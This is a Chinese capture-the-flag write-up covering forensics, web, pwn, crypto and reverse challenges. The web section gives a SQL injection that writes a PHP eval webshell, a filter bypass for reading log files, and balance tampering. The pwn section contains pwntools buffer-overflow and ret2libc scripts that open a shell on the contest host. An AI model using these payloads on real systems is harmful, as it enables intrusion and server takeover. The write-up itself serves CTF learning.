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# 技能兴鲁

最终排名 15 名

img

# Misc

# Datas_secret

 python2 vol.py -f image.vmem --profile=Win7SP1x64 filescan|grep flag
 python2 vol.py -f image.vmem --profile=Win7SP1x64 dumpfiles -Q 0x0000000007a09f20 -D  ./

flag

# 卑劣的手段

python2 vol.py -f image1.vmem --profile=WinXPSP1x64 filescan | grep png
 python2 vol.py -f image1.vmem --profile=Win7SP1x64 dumpfiles -Q 0x0000000002d44eb0 -D  ./
zsteg chuyin.png

flag{Hat3une_M1ku}rI$

# 时间不多了

import os
from pyzbar.pyzbar import decode
from PIL import Image

def scan_qrcodes(folder_path):
    # 检查文件夹中的所有文件
    for filename in os.listdir(folder_path):
        if filename.endswith(('.png', '.jpg', '.jpeg', '.gif', '.bmp')):
            # 拼接完整的文件路径
            file_path = os.path.join(folder_path, filename)
            # 打开图像文件
            image = Image.open(file_path)
            # 解码图像中的二维码
            decoded_objects = decode(image)
            # 打印所有解码出的二维码内容
            for obj in decoded_objects:
                print(f"文件 {filename} 中的二维码内容: {obj.data.decode('utf-8')}")

# 使用示例
folder_path = './attachment'
scan_qrcodes(folder_path)

扫描二维码得到 base64

MiAzIDQgOSAxNSAxNyAxOCAyMyAzMA==
NiAxMyAyMCAyNyAyOA==
MiAxNSAyMiAxNyAyNCAxNg==
NiA1IDQgMTEgMTggMjUgMjYgMjcgMjggMjAgMjE=
MiAzIDkgMTUgMjMgMzAgMzE=
NSAxMyAyMCAyNyAxNCAyMQ==
NiAxOSAyNiAyMSAyOCAyMA==
OSAxMCAxMSAxNyAyNCAzMQ==
MSAyIDMgOCAxNSAxNiAxNyAyMiAyOSAzMA==
MiAzIDkgMTYgMTcgMjQgMzAgMzE=
MiA4IDE1IDIzIDI0IDE4IDExIDM=
MSAyIDkgMTcgMjMgMzAgMjk=

base64 解码得到

img

之后根据日历表。画图，得到 flag

画图就像这样：

img

img

img

拼起来得到 flag

flag

# ** 赛后复现 **

# 未知的加密

密码用 010 打开，掩码 Password SiertingXXXX, where X is a pure number…

Sierting2023

给了一个 Virtual，容器文件。使用取证大师。

image-20231115085341435

使用 VeraCrypt 挂在 enc 密码仍然是 Sierting2023 找到文件 flag.swp

image-20231115085923465

# IC-Card

两个文件.

一个 IC 的 bin 文件，一共镜像层文件。

image-20231115090413292

image-20231115090503188

得到压缩包密码。

找到 decrypted_string 文件

image-20231115090654275

# Web

# 日志里的 FLAG

  <?php
    highlight_file(__FILE__);
    print("FLAG就存在于日志文件里哦！");
    if (isset($_GET['path'])) {
        $path = $_GET['path'];
        if (preg_match('/flag|\$|["\']/i', $path)) {
            echo "错误";
        } else {
            $path = str_replace("log","", $path);
            if (file_exists($path)) {
                $content = file_get_contents($path);
                echo highlight_string($content, true);
            } else {
                echo "文件不存在";
            }
        }
    } else {
        echo "请提供文件路径";
    }
FLAG就存在于日志文件里哦！请提供文件路径

双写绕过检查

payload

path=/var/lologg/nginx/access.lologg

# 购买 flag

登陆之后

进入花费界面

img

将 - 100 改为 + 100000000，发包，来回几次

img

在购买 flag，在控制台看到 flag

img

# 一只小蜜蜂

参考文章 https://blog.csdn.net/qq_43573676/article/details/105627370

在主页面进行 post 传参

_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999

之后访问 url/admin/login.php

便会自动进入后台管理界面

之后退出登录

进入到后台登录界面

在登录界面存在 sql 注入漏洞

user=admin' un union ion selselectect 1,0x3c3f70687020406576616c28245f524551554553545b27414243275d293b3f3e,3,4,5 i into nto outoutfilefile
'/var/www/html/123.php'#&password=12&code=f333&submit=true&submit.x=49&submit.y=30

之后访问 123.php

成功写马，

蚁剑链接，得到 flag

img

img

flag

# pwn

# pwn1

from pwn import *
r = remote('vt.jnxl2023.sierting.com',32299)
# r = process("./pwn")

context.log_level = "debug"

r.sendlineafter("2.change\n", "1")
r.sendlineafter("name: ", "abf1ag")
r.sendlineafter("age: ", "18")
r.sendlineafter("address: ", "aaaa")
r.sendlineafter("2.change\n", "2")
r.sendlineafter("id: ", "0")
r.sendlineafter("address: ", "aaaa")
r.sendafter("check name: ", b"a" * 0x358 + p64(0x4025EF) + p64(0x4025D6) + b"\n")
r.interactive()

# pwn2

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

r = remote('vt.jnxl2023.sierting.com',30629)

# p = process('./pwn')

elf = ELF('./pwn')
libc = ELF('libc.so.6')

got_addr = elf.got['puts']
plt_addr = elf.plt['puts']
main_addr = elf.symbols['main']
pop_rdi = 0x4011e3
pop_rsi_r15 = 0x4006e1
ret_addr = 0x40101a

payload = (0x10+8)*b'a' + p64(pop_rdi) + p64(got_addr) + p64(plt_addr) + p64(main_addr)
r.sendline(payload)

puts_addr=u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")

libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base +  next(libc.search(b"/bin/sh\x00"))

pl = (0x10+8)*b'a' + p64(ret_addr) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
r.sendline(pl)

r.interactive()

# Crypto

# EasyRSA

img

# BabyRSA

img

# 简单的 Python

解 base100

Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTVjAxV2JETlhhMUpUVjBaS2RHVkdXbFpOYWtFeFZtcEJlRll5U2tWVWJHaG9UV3N3ZUZadGNFdFRNVTVJVm10V1VtSlZXbGhXYlhoelRURmFjVkZ0UmxSTmJFcEpWbTEwYTFkSFNrZGpTRUpYWVRGd2FGcFdXbUZrUlRGVlZXeFNUbUY2UlRGV2EyUXdZekpHYzFOdVVtaFNlbXhXVm0weGIxSkdXbGRYYlVacVZtdGFNRlZ0ZUZOVWJVWTJVbFJHVjFaRmIzZFdha1poVjBaT2NtRkhhRk5sYlhoWFZtMXdUMVF3TUhoalJscFlZbFZhY2xWcVFURlNNV1J5VjJ4T1ZXSlZjRWRaTUZaM1ZqSktWVkpZWkZkaGExcFlXa1ZhVDJNeFpITmhSMnhUWVROQ1dsWXhXbXROUjFGNVZXNU9hbEp0VWxsWmJGWmhZMnhXY1ZKdFJsUlNiR3cxVkZaU1UxWnJNWEpqUld4aFUwaENSRlpxU2tkamJVVjZZVVphYUdFeGNHOVdha0poVkRKT2RGSnJhR2hTYXpWeldXeG9iMWRHV25STlNHaFBVbTE0VjFSVmFHOVhSMHB5VGxac1dtSkdXbWhaTW5oWFkxWkdWVkpzVGs1WFJVcElWbXBLTkZReFdsaFRhMlJxVW14d1dGbHNhRk5OTVZweFUydDBWMVpyY0ZwWGExcDNZa2RGZWxGcmJGZGlXRUpJVmtSS1UxWXhXblZWYldoVFlYcFdlbGRYZUc5aU1XUkhWMjVTVGxOSGFGQlZiVEUwVmpGU1ZtRkhPVmhTTUhCNVZHeGFjMWR0U2tkWGJXaGFUVzVvV0ZreFdrZFdWa3B6VkdzMVYwMVZiekZXYlhCTFRrWlJlRmRzYUZSaVJuQlpWbXRXZDFZeGJISlhhM1JVVW14d2VGVnRNVWRWTWtwV1lrUmFXR0V4Y0hKWlZXUkdaVWRPU0U5V1pHaGhNSEJ2Vm10U1MxUXlVa2RUYmtwb1VqSm9WRmxZY0ZkbGJHUllaVWM1YVUxWFVraFdNalZUVkd4a1NGVnNXbFZXYkhCSVZGUkdVMVp0UmtoUFYyaHBVbGhDTmxkVVFtRmpNV1IwVTJ0a1dHSlhhR0ZVVnpWdlYwWnNObEpzWkdwaVNFSklWMnRrYzFVeVNuSlRiVVpYVFc1b1dGZFdXbEpsUm1SellVWlNhVkp1UWxwV2JYUlhaREZaZUdKSVNsaGhNMUpVVlcxNGQyVkdWbGRoUnpsb1RWWndlbFl5Y0VkV01ERjFZVWRvV2xaWFVrZGFWV1JQVWpKR1IyRkhiRk5pYTBwMlZtMTBVMU14VVhsVmEyUlZZbXR3YUZWdGVFdGpSbHB4VTIwNWJHSkhVbGxhVldNMVlWVXhXRlZzYUZkTlYyaDJWMVphUzFJeFRuVlJiRlpYVFRGS05sWkdVa2RWTVZwMFVtdG9VRll5YUhCVmJHaENaREZhYzFwRVVtcE5WMUl3VlRKMGExZEhTbGhoUjBaVlZteHdNMXBYZUhKbFYxWklaRWQwVTJFelFYZFhiRlpoWVRKR1YxZHVTbWxsYTFwWVdXeG9RMU14VWxkYVJWcHNVbTFTV2xkclZURldNVnB6WTBaV1dGWnNTa2hhUkVaYVpVZEtTVk5zYUdoTk1VcFZWbGN4TkdReVZrZFdXR3hyVWpCYWNGVnRlSGRsYkZWNVpVaGtXR0pHY0ZoWk1HaExWakZhUmxkcmVGZE5WbkJJV1RJeFMxSXhjRWhpUm1oVFZsaENTMVp0TVRCVk1VMTRWbGhvV0ZkSGFHaFZNRnBoVm14c2NsZHJkR3BTYkhCNFZUSXdOV0pIU2toVmJHeGhWbGROTVZsV1ZYaFhSbFp6WVVaa1RsWXlhREpXTVZwaFV6RkplRlJ1VG1GU2JGcFlXV3RvUTA1c1draGtSMFpYWWxaYVdWWlhkRzloTVVsNVlVaENWbUpIYUVOYVJFWmhZekZ3UlZWdGNFNVdNVWwzVmxSS01HSXlSa2RUYms1VVlrZG9WbFpzV25kTk1WcHlWMjFHYWxacmNEQmFSV1F3VlRKRmVsRllaRmhpUmxwb1dWUktSMVl4VG5WVWJXaE9UVzFvV1ZkV1VrZGtNa1pIVjJ4V1UySkdjSE5WYlRGVFRWWlZlV042UmxoU2EzQmFWVmQ0YzFkR1duUlZWRUpoVWtWYVlWcFZXbXRrVmtwelZtMXNWMUl6YURaV01XUXdXVmRSZVZaclpGZFhSM2h5VldwT1UySXhiSE5XYm1SWFRWWndNRmt3WkVkWFIwcEhZMFpvV2sxSGFFeFdha1poVW14a2NtVkdaR2hoTTBKUlZsUkdhMU14U1hoalJXUmhVbXMxV0ZZd1ZrdE5iRnAwVFZSQ1ZrMVZNVFJXVm1oelZtMUZlVlZzVmxwaVdGSXpXV3BHVjJOV1RuUlBWbVJUWWxob1lWZFVRbUZoTWtwSVUydG9WbUpIZUdoV2JHUk9UVlpzVjFaWWFGaFNiRnA1V1ZWYWExUnRSbk5YYkZaWFlUSlJNRlY2Umt0ak1YQkpWbXhTYVZKc2NGbFhWM1JoWkRBMWMxZHJhR3hTTUZwaFZtMHhVMUl4VW5OWGJVWldVbXh3TUZaWE5VTldNa3BJWVVWU1ZXSllhR2hXYkZwUFZsWktjMVpyTlZkaWEwWXpWbXhqZDAxV1RYaFZXR2hZWW1zMVZWbHJaRzlXYkZwelYyNWtUazFXY0hsV01qRkhZV3hhY21ORVJsaGhNWEJRVmtkNFlXTnRUa1ZXYkdSVFRUSm9iMVpyVWt0U01WbDRWRzVXVm1KRlNsaFZiRkpYVjFaYVIxbDZSbWxOVjFKSVdXdG9SMVpIUlhoalNFNVdZbFJHVkZZeWVHdGpiRnBWVW14b1UyRXpRbUZXVm1RMFpERlplVk5zYkZaaVIyaG9WV3RXWVdOc1ZuRlRhM1JVVm14S01GbFZXazloUjFaelYycGFWMDFYVVhkWFZtUlNaVlphY2xwR1pGaFNNMmg1VmxkMFYxTXhaRWRWYkdSWVltMVNjMVp0ZUhOT1ZuQldZVWQwV0ZJd2NFaFpNRnB2VjJzeFNGVnVXbGROYm1ob1ZqQmFWMk5zY0VoU2JHUlhUVlZ3VWxac1pIZFRNVWw0VTFoc1UyRXlhSEJWYlhNeFkwWnNWVkZ1WkU1aVJuQXdWRlpTUTFack1WWk5WRkpYVm0xb2VsWnRNVVpsVmxaelYyeHdhVmRHU1hwWFZsWmhWakpTU0ZacldtdFNNMEpVV1d0b1EwNUdXbFZUV0dSUFZqQndTVlV5ZEc5V2JVcElaVWRvVjJKSFVrOVVWbHB6VmpGYVdXRkhjR2xXV0VKSFZteGtOR0V4VW5OWFdHeG9Va1Z3V0ZSV1duZGhSbFkyVW10d2JGSnNTakZXYlhoTFlWWktjMk5HYkZoV00xSjJWVlJHYTFZeFpISmhSM1JUVFVad2FGWnRNSGhWTVU1WFYyeG9hMUo2Ykc5VVZsWjNUVVpzVmxkc1RsZFdiSEJaV1ZWV1UxWnJNVmRqU0VwWFlrWndTRnBGV2t0a1IwNUdUbFprVGxaWGQzcFdiWGhUVXpBeFNGSllhR0ZTVjJoVldXdGtiMkl4Vm5STlZ6bGFWbXh3ZVZadE1VZFVhekZYWTBoc1YwMXFSa2haVjNoaFkyMU9SVkZ0UmxOV01VWXpWbXhTUzFKdFZuTlNiR3hoVW0xb2NGVnRlSGRpTVdSWFZXdDBVMDFYVWtoVk1uaHpXVlpKZWxGc1VsZGhhelYyVmpGYWExZEhWa2hQVmtwT1ZtdHdTVlpzWXpGVE1XUklVMnRhYWxORk5WZFpiRkpIVmtad1dHVklUbGRpUjFKNlZrY3hiMVV4V2taWGFscFhWa1ZyZUZsVVJscGxSbVJaWTBaYWFWWXlhRmhYYkdRd1dWWnNWMk5HV2xoaVIxSnhWRmQwWVZJeFVYaFhiWFJwVWpCd1dsbFZVbUZXTURGWVZWaGtXRlp0VWxOYVZscGhZMnh3UjFwSGJHbFNXRUpSVm0weE5HRXhWWGhYYms1V1lrZG9jbFV3WkZOV1JsSlhWMjVPVDFadVFsZFpWV1F3VjBaSmQyTkZhRnBOUm5CMlZqSnplRk5IUmtabFJtUk9ZbTFvYjFacVFtRldNazV6WTBWb1UySkhVbGhVVmxaM1ZXeGFjMVZyWkdoTlZURTBWVEZvYjJGc1NsaFZiV2hXWWxoTmVGWXdXbHBrTVZweVpFVTFhVkp1UVhkWGJGWnFUbGRGZDAxV1drNVdSa3BZVm0weGIyUnNXWGRYYlhSVVVqQmFTbFZ0ZUdGaFZrbDRVbGhrVjJKVVJUQlpla3BPWlVaa2RWVnNUbWxTTVVwVlYxZDBWMlF4WkhOWGEyaHNVak5DVUZadGVITk9SbGw1VGxVNWFHSkZjRmxaVlZwdlZqSkdjazVXVG1GU1JWcDZWbXBHWVZkWFJrZGhSazVwVW01Qk1sWXhXbGRaVjBWNFZXNU9XRmRIZUc5VmExWjNWMFpTVjFkdVpHaFNiRmt5VlcxME1HRnJNVmRUYWtaWFZqTm9VRmxXV2twbFJrNTFXa1prYVZkR1NsbFdiVEI0VlcxV1IxcElWbE5pUlhCd1ZteGFkMlJzV2tkYVNIQk9WakZhZWxZeGFITlVNVnB5VGxjNVZWWnNXak5VVlZwaFYwVTFWbFJzWkU1aE0wSktWMVpXVjFVeFdsaFRhMlJxVWpKb1YxUlZaRk5YUmxWM1YydDBhMUl3TlVkVWJGcHJWR3hhV0dRemNGZGlXR2hVVlhwQmVGTkdTbGxoUjBaVFZqSm9WbGRYZEd0aU1rbDRWbTVTVGxaNmJHRldiVEUwVm14V2RFNVhkRlZoZWtaWVdXdFNUMVl3TVhGV2EzaGFZVEZ3VEZwRldsZGtWMHBJVW14T1YwMVZXWHBXYlhoVFV6RktkRlp1VGxOaWExcFpXV3RrVTJOR1ZuRlNhMXByVFZkU1dGWlhkREJWTURGWFlrUlNWMUo2VmxCWFZscEtaVmRHUms5V1ZsZE5NbWhOVm1wR1lXRXhaRWhXYTJoUVZtdHdUMVp0ZEhkVFZscHpXWHBHVkUxWFVrbFZNblJoWVd4T1JrNVdhRnBpUjJoVVZGUkdkMVl4WkhSa1IzQnBVakZLTmxaclpEUmlNVlY1VWxoc2EyVnJXbGxXYlhoaFlVWndSVkp0ZEZOTlYxSjRWako0UzFkR1NYbGhSbWhYWWxoU1dGZFdaRTlqTVZwMVVteE9hVkl4U25oV1JtUXdXVlpKZUZWWWFGaGlXRkp2VldwR1lXVnNXWGxsUldSWFRXdFdORmt3Wkc5WFJscDBWV3hPWVZac2NHaFpNbmgzVWpGd1IyRkdUazVOYldjeFZtMTRhMlF4UlhoaVJtaFZZVEpTV0ZsdGVFdGpNVlYzV2taT2FrMVhlSGxXTW5oclZERmFkVkZzWkZwV1YxRjNWakJhU21ReVRrWmhSbkJPVW01Q01sWnFTbnBsUms1SVVtdGFiRkp0VW05WlZFNURVMVprVlZOcVVtaE5helV3Vm0xMGExbFdTWGxoUnpsVlZrVktURlpYZUdGak1YQkpXa1pPVGxadGR6RldhMXB2WXpGVmVWSlliR2hUUlVwWFdXeG9UbVZHYTNkWGJGcHJUVlp3ZVZwRlZURmhWa3AxVVdwU1YxWkZjRE5WVkVaaFkyc3hWMWR0YkZOU2EzQlpWbGN3ZUdJeVZuTlhiazVZWWxoU1ZWVnFSbUZUUmxsNVpVaGtWMDFWY0ZoWmFrNTNWMFpaZWxGcmFGZGhhM0JRVm1wR1YyUldUbk5XYld4VFRWVndWbFl4WkRSaU1rbDNUbFprV0dKc1NrOVZhMVpoWWpGU1YxZHVUazlTYkd3MVZHeFZOV0ZIU2taalJXUldUV3BHZGxadE1VdFRSbFp6Vld4YVRsSnVRbWhYYkZwclZqRk9SMU51VW10U2F6VndWVzAxUWsxV1dYaFhiR1JhVmpCV05GWlhOVk5WTWtweVRsWnNXbUV4Y0doV01GcHpWbFpPYzFOck5WTmlSbXQ1VmxjeE1FMUhSbkpOVm14U1lUTkNXRmxzYUc5V1JteFhWMnQwYWsxck5VaFphMXB2VmpBd2VGTnFTbGRXYkVwRFZGWmtUbVZHY0VsVGJXaFRUVEpvVlZaR1ZtRmtNa1pIVjI1U1RsTkhhRmRVVmxaelRrWmFXRTVWT1ZoU01IQlhWako0YTFadFNsbGhSRTVWVmxad2FGWXdWVEZXYkZKeldrVTFhRTB3U2t0V01WcFhWakZWZUZkc2FGUmhNbEp4VldwS2IxWXhVbFphUms1WVVteFdNMVl5ZERCaE1VbDNUbFZrVldKR2NISldSM2hoVjBkUmVtTkdaR2xYUjJoVlZsaHdRbVZHVGtkVWJHeHBVbXMxYjFSWGVFdFdiR1JZVFZod1RsWnNjRmhaYTJoUFZqSktWbGRzYUZwaE1YQXpWRlZhZDFadFJraGtSbFpvWld0YVdsZHNWbUZoTVZsM1RWaEdWMkpyY0ZoV2ExWjNWRVpWZUZkclpHcGlTRUpJVm0xek1WWXlTa2RXYWxKWFRWWndhRmRXV2s1bFJuQkhXa1pPYVdFeGNGcFhWM1JyWWpGa1IySklTbGhpYlZKelZtMHhVMWRzYTNkV2JYUlhUV3R3V0ZWdGNFOVdWbHB6WTBoS1YwMUhVa3hXTUdSWFUxWlNjMk5HWkZOV2JUazJWbTF3UjFsWFJYaGFSV2hYWVRKb1VWWnRkSGRVTVZwMFpFaGtWRlpzY0hwWGExSlRWMnhhZEdWR2FGWk5ibWh5V1ZkNFQxSnJOVmRhUm5CcFVtdHdTVlp0ZEdGWGJWWllWbXRzVldKWVFuQlZha1pMVG14YWNsa3phR2xOVmxZMFZqSjBZVmRIUm5OalJtaFhZVEZhZVZwVlduTmpWa3B6WTBkNFUySldTbUZYVkVKcllqRlZkMDFZVW1oU2VteFlWbXBPVTFkR1pGZFhiazVYVFdzMVNGWXllRzloVm1SSFUyNXNWMkpVUlRCWFZsVjRVakpPUjFkc2FHaGxiWGhhVmxjeE1HUXlWbGRoTTJSWVltMVNXRlJYZEZkT1JtdDNXa2M1V0ZKc2NIcFpNR2gzVmpKR2NsZHNVbHBOYm1nelZXcEdkMU5IU2toaFIzaHBVbTVDWVZadGNFZGhiVlpJVm01S1RsWnRVbGxXTUdSdlYxWnNkR1ZGZEdwTlZscDRWVmN4UjFkR1NuUmxTR3hYVFc1UmQxWnFRWGhXTWs1SFlrWldhVkpzYkROV2JURTBXVmROZUZwSVRsaGlSbHBZVm0xMGQwNVdXbFpYYTFwUVZtdEtVMVZHVVhkUVVUMDk=

解 base64

img

atbash_cipher 和 string_reverserever

ntio{lmi8i56k1lkn73im7ni75k52in41jj70}

Caesar 8

flag{dea8a56c1dcf73ae7fa75c52af41bb70}

# Reverse

# BabyRe

img

赛博厨子嗦哈

img

# TEA

img

不知道啥情况，打开就是 flag，试了，还真是

# EasyRe

img

自带解密函数

Java.perform(function () {

   var aESUtils =Java.use("com.example.easyre.AESUtils");
    aESUtils.decrypt.implementation=function (a,b){


       console.log("miwen:",a);
       console.log("key", b);

       var srcret = this.decrypt(a,b);
       console.log("加密后:",srcret);
       return srcret;
}

});

hook 出来然后直接看密文

img

base64 解密

img

# GORC

动调出 key

img

直接解密

img